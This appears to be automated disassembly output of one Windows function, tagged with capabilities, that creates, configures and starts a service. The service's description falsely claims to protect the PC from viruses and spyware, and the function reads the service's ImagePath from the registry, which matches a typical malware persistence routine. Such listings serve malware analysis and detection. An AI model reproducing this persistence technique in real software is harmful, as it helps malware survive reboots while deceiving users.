Function at 0x14000423c
Capabilities:
Check if file exists
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov byte [rax + 0x20], r9b
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x38]
sub rsp, 0x110
mov r14, r8
mov rbx, rdx
mov r12, rcx
mov rdx, rcx
lea rcx, [rbp - 0x80]
call fcn.140006140
nop
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1400042aa
lea rdx, [0x1404439cc]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x14000428d
mov r8d, eax
mov rcx, qword [rbp + 0x60]
call fcn.140007ea0
xor dil, dil
jmp 0x140004772
mov rdx, rbx
lea rcx, [rbp - 0x58]
call fcn.140006140
nop
mov r8, qword [rbp - 0x58]
cmp dword [r8 - 0x10], 0
je 0x1400042d2
lea rdx, [0x1404439d0]
lea rcx, [rbp - 0x80]
call fcn.140008c84
mov r15d, 0xf003f
mov r8d, r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
jne 0x140004312
lea rdx, [0x1404439d4]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], 0
jne 0x1400042f8
mov r8d, eax
mov rcx, qword [rbp + 0x60]
call fcn.140007ea0
jmp 0x1400043de
and qword [rsp + 0x60], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov edi, 1
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r9d, 0xf01ff
mov r8, r14
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rsi, rax
test rax, rax
jne 0x1400043e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call fcn.14000bfcc
test rax, rax
je 0x1400047b0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x70], rax
mov r8d, edi
lea rdx, str.03_d
lea rcx, [rbp - 0x70]
call fcn.140008c60
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rdx, [rbp - 0x70]
mov rcx, qword [rbp + 0x60]
call fcn.140007478
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400043de
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor dil, dil
jmp 0x140004753
lea rax, str.This_service_protect_your_pc_from_viruses_and_spyware.
mov qword [rbp - 0x38], rax
lea r8, [rbp - 0x38]
mov edx, edi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r15, rax
test rax, rax
je 0x1400046ea
mov r8d, 0xf01ff
mov rdx, r14
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
je 0x140004690
mov dword [rbp - 0x18], edi
and qword [rbp - 8], 0
and qword [rbp - 0x10], 0
mov dword [rbp], 3
lea rax, [rbp - 0x50]
mov qword [rbp + 8], rax
mov dword [rbp - 0x50], edi
mov eax, 0x64
mov dword [rbp - 0x4c], eax
mov dword [rbp - 0x48], edi
mov dword [rbp - 0x44], eax
mov dword [rbp - 0x40], edi
mov dword [rbp - 0x3c], eax
lea r8, [rbp - 0x18]
lea edx, [rax - 0x62]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, rsi
call fcn.140003f98
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140004679
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x1400047bb
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x70], rax
mov r8d, ebx
lea rdx, str.07_d
lea rcx, [rsp + 0x70]
call fcn.140008c60
cmp ebx, 2
jne 0x140004649
mov dword [rbp - 0x78], edi
mov dword [rbp + 0x58], 0x104
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x1400047c6
mov rax, qword [rax]
call qword [rax + Ordinal_26]
lea rbx, [rax + 0x18]
mov qword [rsp + 0x78], rbx
mov rdx, r14
lea rcx, [rbp - 0x28]
call fcn.140006140
nop
mov r8, rax
lea rcx, [rbp - 0x30]
call fcn.140005dec
mov r14, rax
sub edi, dword [rbx - 8]
mov ecx, dword [rbx - 0xc]
mov edx, 0x104
sub ecx, edx
or ecx, edi
jge 0x140004555
lea rcx, [rsp + 0x78]
call fcn.140007db4
mov rbx, qword [rsp + 0x78]
lea rax, [rbp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rbp - 0x78]
lea r8, str.ImagePath
mov rdx, qword [r14]
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov ebx, eax
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1400045a0
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400045be
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test ebx, ebx
jne 0x14000462a
mov rdx, r12
lea rcx, [rbp - 0x20]
call fcn.140006140
mov rdx, qword [rax]
test rdx, rdx
je 0x1400047d1
mov rcx, qword [rsp + 0x78]
call fcn.14017e30c
test eax, eax
sete bl
mov rdx, qword [rbp - 0x20]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004607
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r8d, 2
lea rcx, [rsp + 0x70]
test bl, bl
lea rdx, str.07_d_0
jne 0x140004624
lea rdx, str.07_d_1
call fcn.140008c60
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004649
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rdx, [rsp + 0x70]
mov rcx, qword [rbp + 0x60]
call fcn.140007478
xor dil, dil
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004679
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140004753
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.14000bfcc
test rax, rax
je 0x1400047b0
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x68], rax
mov r8d, ebx
lea rdx, str.05_d
lea rcx, [rbp - 0x68]
call fcn.140008c60
lea rdx, [rbp - 0x68]
mov rcx, qword [rbp + 0x60]
call fcn.140007478
xor dil, dil
mov rcx, r15
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
nop
mov rdx, qword [rbp - 0x68]
jmp 0x140004738
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.14000bfcc
mov rcx, rax
test rax, rax
je 0x1400047b0
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x60], rax
mov r8d, ebx
lea rdx, str.04_d
lea rcx, [rbp - 0x60]
call fcn.140008c60
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x60]
call fcn.140007478
xor dil, dil
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004753
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x58]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140004772
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x140004791
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
mov al, dil
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov ecx, 0x80004005
call fcn.14000c3ac
int3
mov ecx, 0x80004005
call fcn.14000c3ac
nop
mov ecx, 0x80004005
call fcn.14000c3ac
nop
mov ecx, 0x80004005
call fcn.14000c3ac
int3